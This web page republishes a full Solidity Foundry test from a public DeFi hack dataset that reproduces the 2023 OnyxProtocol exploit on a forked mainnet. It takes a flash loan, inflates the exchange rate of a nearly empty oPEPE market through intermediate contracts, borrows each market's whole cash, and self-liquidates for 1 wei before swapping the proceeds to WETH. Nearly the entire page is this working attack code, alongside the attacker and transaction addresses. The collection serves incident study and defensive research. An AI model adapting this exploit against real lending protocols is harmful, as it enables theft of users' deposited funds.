Public reproduction file

src/test/2023-11/OnyxProtocol_exp.sol

Public reproduction file for dataset entry OnyxProtocol.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-11/OnyxProtocol_exp.sol347 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$2M
8// Attacker : https://etherscan.io/address/0x085bdff2c522e8637d4154039db8746bb8642bff
9// Attack Contract : https://etherscan.io/address/0x526e8e98356194b64eae4c2d443cc8aad367336f
10// Vuln Contract : https://etherscan.io/address/0x5fdbcd61bc9bd4b6d3fd1f49a5d253165ea11750
11// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0xf7c21600452939a81b599017ee24ee0dfd92aaaccd0a55d02819a7658a6ef635
12 
13// @Analysis
14// https://twitter.com/Phalcon_xyz/status/1719697319824851051
15// https://defimon.xyz/attack/mainnet/0xf7c21600452939a81b599017ee24ee0dfd92aaaccd0a55d02819a7658a6ef635
16// https://twitter.com/DecurityHQ/status/1719657969925677161
17 
18interface IComptroller {
19    function liquidateCalculateSeizeTokens(
20        address cTokenBorrowed,
21        address cTokenCollateral,
22        uint256 actualRepayAmount
23    ) external view returns (uint256, uint256);
24 
25    function enterMarkets(
26        address[] memory cTokens
27    ) external returns (uint256[] memory);
28}
29 
30contract ContractTest is Test {
31    IAaveFlashloan private constant AaveV3 = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
32    IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
33    IERC20 private constant PEPE = IERC20(0x6982508145454Ce325dDbE47a25d4ec3d2311933);
34    IUSDC private constant USDC = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
35    IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
36    IERC20 private constant PAXG = IERC20(0x45804880De22913dAFE09f4980848ECE6EcbAf78);
37    IERC20 private constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
38    IERC20 private constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
39    IERC20 private constant LINK = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);
40    ICErc20Delegate private constant oPEPE = ICErc20Delegate(payable(0x5FdBcD61bC9bd4B6D3FD1F49a5D253165Ea11750));
41    ICErc20Delegate private constant oUSDC = ICErc20Delegate(payable(0x8f35113cFAba700Ed7a907D92B114B44421e412A));
42    ICErc20Delegate private constant oUSDT = ICErc20Delegate(payable(0xbCed4e924f28f43a24ceEDec69eE21ed4D04D2DD));
43    ICErc20Delegate private constant oPAXG = ICErc20Delegate(payable(0x0C19D213e9f2A5cbAA4eC6E8eAC55a22276b0641));
44    ICErc20Delegate private constant oDAI = ICErc20Delegate(payable(0x830DAcD5D0a62afa92c9Bc6878461e9cD317B085));
45    ICErc20Delegate private constant oBTC = ICErc20Delegate(payable(0x1933f1183C421d44d531Ed40A5D2445F6a91646d));
46    ICErc20Delegate private constant oLINK = ICErc20Delegate(payable(0xFEe4428b7f403499C50a6DA947916b71D33142dC));
47    crETH private constant oETHER = crETH(payable(0x714bD93aB6ab2F0bcfD2aEaf46A46719991d0d79));
48    Uni_Pair_V2 private constant PEPE_WETH = Uni_Pair_V2(0xA43fe16908251ee70EF74718545e4FE6C5cCEc9f);
49    Uni_Pair_V2 private constant USDC_WETH = Uni_Pair_V2(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc);
50    Uni_Pair_V2 private constant WETH_USDT = Uni_Pair_V2(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852);
51    Uni_Pair_V2 private constant PAXG_WETH = Uni_Pair_V2(0x9C4Fe5FFD9A9fC5678cFBd93Aa2D4FD684b67C4C);
52    Uni_Pair_V2 private constant DAI_WETH = Uni_Pair_V2(0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11);
53    Uni_Pair_V2 private constant WBTC_WETH = Uni_Pair_V2(0xBb2b8038a1640196FbE3e38816F3e67Cba72D940);
54    Uni_Pair_V2 private constant LINK_WETH = Uni_Pair_V2(0xa2107FA5B38d9bbd2C461D6EDf11B11A50F6b974);
55    Uni_Router_V2 private constant Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
56 
57    function setUp() public {
58        vm.createSelectFork("mainnet", 18_476_512);
59        vm.label(address(AaveV3), "AaveV3");
60        vm.label(address(WETH), "WETH");
61        vm.label(address(PEPE), "PEPE");
62        vm.label(address(oPEPE), "oPEPE");
63        vm.label(address(oETHER), "oETHER");
64        vm.label(address(PEPE_WETH), "PEPE_WETH");
65        vm.label(address(Router), "Router");
66    }
67 
68    function testExploit() public {
69        deal(address(this), 0 ether);
70        deal(address(WETH), address(this), 0);
71        emit log_named_decimal_uint("Attacker WETH balance before exploit", WETH.balanceOf(address(this)), 18);
72 
73        AaveV3.flashLoanSimple(address(this), address(WETH), 4000 * 1e18, bytes(""), 0);
74 
75        emit log_named_decimal_uint("Attacker WETH balance after exploit", WETH.balanceOf(address(this)), 18);
76    }
77 
78    function executeOperation(
79        address asset,
80        uint256 amount,
81        uint256 premium,
82        address initiator,
83        bytes calldata params
84    ) external returns (bool) {
85        approveAll();
86        (uint112 reservePEPE, uint112 reserveWETH,) = PEPE_WETH.getReserves();
87        uint256 amountOut = calcAmountOut(reservePEPE, reserveWETH, WETH.balanceOf(address(this)));
88        WETHToPEPE(amountOut);
89 
90        // oETHER
91        IntermediateContractETH intermediateETH = new IntermediateContractETH();
92        PEPE.transfer(address(intermediateETH), PEPE.balanceOf(address(this)));
93        intermediateETH.start();
94        oETHER.liquidateBorrow{value: 0.000000000000000001 ether}(address(intermediateETH), address(oPEPE));
95        oPEPE.redeem(oPEPE.balanceOf(address(this)));
96        WETH.deposit{value: address(this).balance}();
97 
98        // oUSDC
99        {
100            exploitToken(oUSDC);
101            (uint112 reserveUSDC, uint112 reserveWETH1,) = USDC_WETH.getReserves();
102            amountOut = calcAmountOut(reserveWETH1, reserveUSDC, USDC.balanceOf(address(this)));
103            USDCToWETH(amountOut);
104        }
105 
106        // oUSDT
107        {
108            exploitToken(oUSDT);
109            (uint112 reserveWETH2, uint112 reserveUSDT,) = WETH_USDT.getReserves();
110            amountOut = calcAmountOut(reserveUSDT, reserveWETH2, USDT.balanceOf(address(this)));
111            USDTToWETH(amountOut);
112        }
113 
114        // oPAXG
115        {
116            exploitToken(oPAXG);
117            (uint112 reservePAXG, uint112 reserveWETH3,) = PAXG_WETH.getReserves();
118            amountOut = calcAmountOut(reserveWETH3, reservePAXG, PAXG.balanceOf(address(this)));
119            PAXGToWETH(amountOut);
120        }
121 
122        // oDAI
123        {
124            exploitToken(oDAI);
125            (uint112 reserveDAI, uint112 reserveWETH4,) = DAI_WETH.getReserves();
126            amountOut = calcAmountOut(reserveWETH4, reserveDAI, DAI.balanceOf(address(this)));
127            DAIToWETH(amountOut);
128        }
129 
130        // oBTC
131        {
132            exploitToken(oBTC);
133            (uint112 reserveWBTC, uint112 reserveWETH5,) = WBTC_WETH.getReserves();
134            amountOut = calcAmountOut(reserveWETH5, reserveWBTC, WBTC.balanceOf(address(this)));
135            WBTCToWETH(amountOut);
136        }
137 
138        // oLink
139        {
140            exploitToken(oLINK);
141            (uint112 reserveLINK, uint112 reserveWETH6,) = LINK_WETH.getReserves();
142            amountOut = calcAmountOut(reserveWETH6, reserveLINK, LINK.balanceOf(address(this)));
143 
144            LINKToWETH(amountOut);
145        }
146 
147        // PEPE
148        PEPEToWETH();
149 
150        WETH.approve(address(AaveV3), amount + premium);
151        return true;
152    }
153 
154    receive() external payable {}
155 
156    function WETHToPEPE(
157        uint256 _amountOut
158    ) internal {
159        address[] memory path = new address[](2);
160        path[0] = address(WETH);
161        path[1] = address(PEPE);
162        Router.swapExactTokensForTokens(
163            WETH.balanceOf(address(this)), (_amountOut - _amountOut / 100), path, address(this), block.timestamp + 3600
164        );
165    }
166 
167    function USDCToWETH(
168        uint256 _amountOut
169    ) internal {
170        address[] memory path = new address[](2);
171        path[0] = address(USDC);
172        path[1] = address(WETH);
173        Router.swapExactTokensForTokens(
174            USDC.balanceOf(address(this)), (_amountOut - _amountOut / 100), path, address(this), block.timestamp + 3600
175        );
176    }
177 
178    function USDTToWETH(
179        uint256 _amountOut
180    ) internal {
181        address[] memory path = new address[](2);
182        path[0] = address(USDT);
183        path[1] = address(WETH);
184        Router.swapExactTokensForTokens(
185            USDT.balanceOf(address(this)), (_amountOut - _amountOut / 100), path, address(this), block.timestamp + 3600
186        );
187    }
188 
189    function PAXGToWETH(
190        uint256 _amountOut
191    ) internal {
192        address[] memory path = new address[](2);
193        path[0] = address(PAXG);
194        path[1] = address(WETH);
195        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
196            PAXG.balanceOf(address(this)), (_amountOut - _amountOut / 100), path, address(this), block.timestamp + 3600
197        );
198    }
199 
200    function DAIToWETH(
201        uint256 _amountOut
202    ) internal {
203        address[] memory path = new address[](2);
204        path[0] = address(DAI);
205        path[1] = address(WETH);
206        Router.swapExactTokensForTokens(
207            DAI.balanceOf(address(this)), (_amountOut - _amountOut / 100), path, address(this), block.timestamp + 3600
208        );
209    }
210 
211    function WBTCToWETH(
212        uint256 _amountOut
213    ) internal {
214        address[] memory path = new address[](2);
215        path[0] = address(WBTC);
216        path[1] = address(WETH);
217        Router.swapExactTokensForTokens(
218            WBTC.balanceOf(address(this)), (_amountOut - _amountOut / 100), path, address(this), block.timestamp + 3600
219        );
220    }
221 
222    function LINKToWETH(
223        uint256 _amountOut
224    ) internal {
225        address[] memory path = new address[](2);
226        path[0] = address(LINK);
227        path[1] = address(WETH);
228        Router.swapExactTokensForTokens(
229            LINK.balanceOf(address(this)), (_amountOut - _amountOut / 100), path, address(this), block.timestamp + 3600
230        );
231    }
232 
233    function PEPEToWETH() internal {
234        address[] memory path = new address[](2);
235        path[0] = address(PEPE);
236        path[1] = address(WETH);
237        Router.swapExactTokensForTokens(
238            PEPE.balanceOf(address(this)), 3_950_619_005_376_690_920_220, path, address(this), block.timestamp + 3600
239        );
240    }
241 
242    function approveAll() internal {
243        WETH.approve(address(Router), type(uint256).max);
244        USDC.approve(address(Router), type(uint256).max);
245        USDC.approve(address(oUSDC), type(uint256).max);
246        USDT.approve(address(Router), type(uint256).max);
247        USDT.approve(address(oUSDT), type(uint256).max);
248        PAXG.approve(address(Router), type(uint256).max);
249        PAXG.approve(address(oPAXG), type(uint256).max);
250        DAI.approve(address(Router), type(uint256).max);
251        DAI.approve(address(oDAI), type(uint256).max);
252        WBTC.approve(address(Router), type(uint256).max);
253        WBTC.approve(address(oBTC), type(uint256).max);
254        LINK.approve(address(Router), type(uint256).max);
255        LINK.approve(address(oLINK), type(uint256).max);
256        PEPE.approve(address(Router), type(uint256).max);
257    }
258 
259    function calcAmountOut(uint112 reserve1, uint112 reserve2, uint256 tokenBalance) internal pure returns (uint256) {
260        uint256 a = (tokenBalance * 997);
261        uint256 b = a * reserve1;
262        uint256 c = (reserve2 * 1000) + a;
263        return b / c;
264    }
265 
266    function exploitToken(
267        ICErc20Delegate onyxToken
268    ) internal {
269        IntermediateContractToken intermediateToken = new IntermediateContractToken();
270        PEPE.transfer(address(intermediateToken), PEPE.balanceOf(address(this)));
271        intermediateToken.start(onyxToken);
272        onyxToken.liquidateBorrow(address(intermediateToken), 1, address(oPEPE));
273        oPEPE.redeem(oPEPE.balanceOf(address(this)));
274    }
275}
276 
277contract IntermediateContractETH {
278    IERC20 private constant PEPE = IERC20(0x6982508145454Ce325dDbE47a25d4ec3d2311933);
279    ICErc20Delegate private constant oPEPE = ICErc20Delegate(payable(0x5FdBcD61bC9bd4B6D3FD1F49a5D253165Ea11750));
280    crETH private constant oETHER = crETH(payable(0x714bD93aB6ab2F0bcfD2aEaf46A46719991d0d79));
281    IComptroller private constant Unitroller = IComptroller(0x7D61ed92a6778f5ABf5c94085739f1EDAbec2800);
282 
283    function start() external {
284        PEPE.approve(address(oPEPE), type(uint256).max);
285        oPEPE.mint(1e18);
286        oPEPE.redeem(oPEPE.totalSupply() - 2);
287        uint256 redeemAmt = PEPE.balanceOf(address(this)) - 1;
288        PEPE.transfer(address(oPEPE), PEPE.balanceOf(address(this)));
289 
290        address[] memory oTokens = new address[](1);
291        oTokens[0] = address(oPEPE);
292        Unitroller.enterMarkets(oTokens);
293        oETHER.borrow(oETHER.getCash() - 1);
294 
295        (bool success,) = msg.sender.call{value: address(this).balance}("");
296        require(success, "Transfer ETH not successful");
297 
298        oPEPE.redeemUnderlying(redeemAmt);
299        (,,, uint256 exchangeRate) = oPEPE.getAccountSnapshot(address(this));
300        (, uint256 numSeizeTokens) = Unitroller.liquidateCalculateSeizeTokens(address(oETHER), address(oPEPE), 1);
301        uint256 mintAmount = (exchangeRate / 1e18) * numSeizeTokens - 2;
302        oPEPE.mint(mintAmount);
303        PEPE.transfer(msg.sender, PEPE.balanceOf(address(this)));
304    }
305 
306    receive() external payable {}
307}
308 
309contract IntermediateContractToken {
310    IERC20 private constant PEPE = IERC20(0x6982508145454Ce325dDbE47a25d4ec3d2311933);
311    ICErc20Delegate private constant oPEPE = ICErc20Delegate(payable(0x5FdBcD61bC9bd4B6D3FD1F49a5D253165Ea11750));
312    IUSDC private constant USDC = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
313    IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
314    IComptroller private constant Unitroller = IComptroller(0x7D61ed92a6778f5ABf5c94085739f1EDAbec2800);
315 
316    function start(
317        ICErc20Delegate onyxToken
318    ) external {
319        PEPE.approve(address(oPEPE), type(uint256).max);
320        oPEPE.mint(1e18);
321        oPEPE.redeem(oPEPE.totalSupply() - 2);
322        uint256 redeemAmt = PEPE.balanceOf(address(this)) - 1;
323        PEPE.transfer(address(oPEPE), PEPE.balanceOf(address(this)));
324 
325        address[] memory oTokens = new address[](1);
326        oTokens[0] = address(oPEPE);
327        Unitroller.enterMarkets(oTokens);
328        onyxToken.borrow(onyxToken.getCash() - 1);
329 
330        if (onyxToken.underlying() == address(USDC)) {
331            USDC.transfer(msg.sender, USDC.balanceOf(address(this)));
332        } else if (onyxToken.underlying() == address(USDT)) {
333            USDT.transfer(msg.sender, USDT.balanceOf(address(this)));
334        } else {
335            IERC20(onyxToken.underlying()).transfer(msg.sender, IERC20(onyxToken.underlying()).balanceOf(address(this)));
336        }
337 
338        oPEPE.redeemUnderlying(redeemAmt);
339        (,,, uint256 exchangeRate) = oPEPE.getAccountSnapshot(address(this));
340        (, uint256 numSeizeTokens) = Unitroller.liquidateCalculateSeizeTokens(address(onyxToken), address(oPEPE), 1);
341        uint256 mintAmount = (exchangeRate / 1e18) * numSeizeTokens - 2;
342        oPEPE.mint(mintAmount);
343        PEPE.transfer(msg.sender, PEPE.balanceOf(address(this)));
344    }
345 
346    receive() external payable {}
347}

Analysis

Dataset entry

Public Foundry test for “OnyxProtocol” (2023-11-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-11/AIS_exp.solSame month in the dataset · 98 lines
src/test/2023-11/3913_exp.solSame month in the dataset · 163 lines
src/test/2023-11/BRAND_exp.solSame month in the dataset · 50 lines
src/test/2023-11/Burntbubba_exp.solSame month in the dataset · 175 lines
src/test/2023-11/CAROLProtocol_exp.solSame month in the dataset · 228 lines
src/test/2023-11/EEE_exp.solSame month in the dataset · 87 lines
src/test/2023-11/EHX_exp.solSame month in the dataset · 87 lines
src/test/2023-11/FiberRouter_exp.solSame month in the dataset · 78 lines
src/test/2023-11/grok_exp.solSame month in the dataset · 82 lines
src/test/2023-11/KR_exp.solSame month in the dataset · 41 lines
src/test/2023-11/KyberSwap_exp.eth.1.solSame month in the dataset · 229 lines
src/test/2023-11/LinkDao_exp.solSame month in the dataset · 73 lines
src/test/2023-11/MahaLend_exp.solSame month in the dataset · 118 lines
src/test/2023-11/MetaLend_exp.solSame month in the dataset · 113 lines
src/test/2023-11/bot_exp.solSame month in the dataset · 123 lines
src/test/2023-11/MEV_0x8c2d_exp.solSame month in the dataset · 101 lines
src/test/2023-11/MEV_0xa247_exp.solSame month in the dataset · 188 lines
src/test/2023-11/OKC_exp.solSame month in the dataset · 341 lines
src/test/2023-11/Raft_exp.solSame month in the dataset · 194 lines
src/test/2023-11/RBalancer_exp.solSame month in the dataset · 49 lines
src/test/2023-11/ShibaToken_exp.solSame month in the dataset · 202 lines
src/test/2023-11/SwampFinance_exp.solSame month in the dataset · 123 lines
src/test/2023-11/TheNFTV2_exp.solSame month in the dataset · 80 lines
src/test/2023-11/TheStandard_io_exp.solSame month in the dataset · 236 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x085bdff2c522e8637d4154039db8746bb8642bff
Attack Contract
0x526e8e98356194b64eae4c2d443cc8aad367336f

Attack Tx
0xf7c21600452939a81b599017ee24ee0dfd92aaaccd0a55d02819a7658a6ef635

File record

Name: OnyxProtocol
Path: src/test/2023-11/OnyxProtocol_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: dd23d210fc5a7f5acb1580c4518de9eab35d6046
Language: Solidity
Size: 348 lines
Date: 2023-11-01
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-11/OnyxProtocol_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob dd23d210fc5a7f5acb1580c4518de9eab35d6046, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.